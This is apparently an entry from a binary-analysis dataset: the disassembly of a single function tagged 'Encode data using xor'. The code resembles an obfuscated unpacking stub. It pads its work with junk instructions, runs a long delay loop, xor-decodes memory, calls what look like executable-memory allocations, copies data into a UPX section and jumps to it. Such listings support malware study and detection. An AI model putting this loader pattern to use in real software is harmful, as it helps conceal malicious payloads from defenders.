Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x33525b65
or ebx, eax
inc ebx
popal
add ebx, eax
mov ebx, 0xf5bff41f
or eax, eax
mov ecx, 0
mov eax, ebx
dec esi
sub edx, 1
mov edi, eax
and esi, edx
sub edx, 0x518498a1
or edx, esi
mov ebx, edi
add esi, 0x124f557a
add edx, 0xa03bcf3b
inc ecx
sub esi, 0xc3ddba16
add edx, 0xc6d44d84
inc edx
cmp ecx, 0x100e1ac
jne 0xa789c4
not esi
add esi, edx
add edx, esi
sub ebx, 0x58c8b991
or eax, ebx
mov ecx, 0xa78796
sub eax, ebx
add ebx, 0x81e50e02
mov eax, 0x76fc0574
mov esi, 0xa7898a
mov ebx, edx
add eax, edx
mov edi, dword [ecx]
sub edx, 1
mov ebx, 0xc7d26871
or edx, ebx
and edi, 0xff
or edx, ebx
mov eax, 0x2665ea6c
mov eax, ebx
xor dword [esi], edi
sub edx, ebx
or edx, eax
mov eax, ebx
add esi, 1
not eax
dec edx
inc ecx
and eax, edx
sub eax, 0x99d750cf
mov ebx, edx
cmp esi, entry0
jl 0xa78a2a
add edx, ebx
sub ebx, 1
and edx, edx
add edx, 1
sub ebx, 1
mov ecx, 0x94e8b45c
mov ebx, esi
mov edx, 0xa7898e
mov ecx, edi
not ecx
mov edx, dword [edx]
inc edi
or ebx, edi
mov edx, dword [edx]
or ebx, ebx
or ebx, edi
sub esi, ebx
push edx
or edi, ecx
or esi, esi
or esi, esi
mov edx, 0xa7898a
and edi, ebx
sub ebx, 0xebb7baee
mov edx, dword [edx]
or ecx, edi
not ecx
dec edi
mov edx, dword [edx]
or ebx, edi
add esi, 1
push 0xa78992
or esi, edi
sub edi, 1
call edx
not ebx
add ecx, 0x6bceda56
or ebx, edi
pop edx
not ecx
sub edi, 0x9986532
mov ebx, 0x3bbfbd7e
sub esp, 4
mov dword [esp], 0xa7899f
mov edi, 0x18d712a
add ebx, 0xffa7a0b8
push eax
and edi, edi
add ecx, 0xf0e2acf4
call edx
mov edi, ebx
add ebx, 0xe939396e
push 0x40
add ebx, ecx
or ecx, esi
push 0x3000
sub esi, edi
sub esi, 0x3e367446
sub esp, 4
mov dword [esp], 0x20000b45
sub ecx, 0x7d1ca76a
add esi, ecx
push 0
mov edi, ebx
add edi, 0x68e6256d
call eax
sub edi, 0xd116b2e
not ebx
add ebx, esi
add eax, 0x20000ac8
sub esi, edi
and ebx, ebx
mov edx, 0xed5ddc92
add esi, 1
mov ecx, ebx
and esi, edi
mov dword [eax], edx
add ebx, 0xfb5c7a8f
sub edi, esi
mov edx, dword [eax]
and edi, edi
sub edi, 0x53da5383
cmp edx, 0xed5ddc92
je 0xa78b94
mov ebx, 0
mov dword [ebx], eax
add ecx, edi
mov ecx, esi
inc esi
inc ebx
dec esi
or ebx, ebx
sub ebx, 0x80f939be
mov ecx, section.UPX1
add ebx, ebx
mov ebx, 0x915fff0a
sub ebx, 1
mov edi, 0xa78795
mov eax, ebx
dec eax
mov esi, 0
sub ebx, 0x4b39331
and eax, eax
sub eax, ebx
mov edx, 0xa78796
dec eax
sub ebx, 0x218cc2bb
lea edx, [esi + edx]
add eax, 0xf78d57f3
inc eax
mov edx, dword [edx]
or eax, ebx
mov ebx, eax
and edx, 0xff
add eax, 0x26cbd07a
add ebx, 0xb9d5610b
mov eax, 0x27d0d0cd
inc esi
mov eax, 0xbb2418f4
not eax
cmp esi, 0x1f4
jne 0xa78c14
mov esi, 0
add ebx, 0xacfdbcc
sub eax, ebx
add eax, ebx
mov ebx, eax
xor dword [ecx], edx
sub eax, 0x73dccadc
not ebx
add ecx, 2
not eax
sub ebx, eax
and eax, ebx
cmp ecx, edi
jl 0xa78bcc
mov eax, ebx
dec eax
inc ebx
sub ebx, eax
add ebx, 0x4f2afbd0
mov eax, section.UPX1
and esi, ecx
mov ecx, 0x847dbf49
mov edi, section.UPX1
dec ecx
sub ecx, esi
not ecx
mov edx, 0xa78795
mov esi, ecx
or esi, esi
mov ebx, 0
add esi, 0x64872cd1
not esi
mov bl, byte [edi]
sub esi, ecx
sub ecx, 0x73779540
mov byte [eax], bl
mov ecx, esi
mov esi, 0x3a47c9eb
add ecx, 0xef2314d4
inc eax
mov esi, 0x2b9a308a
sub esi, 0xd8fa7106
add edi, 2
add ecx, 0x2f2a6477
mov ecx, esi
cmp edi, edx
jle 0xa78c76
not esi
sub ecx, esi
or ecx, esi
mov ebx, eax
mov eax, 0x41d96ac3
push 0x8dc6a0
mov ebx, 0xfaca7cf6
sub eax, 0x1924328b
inc ebx
ret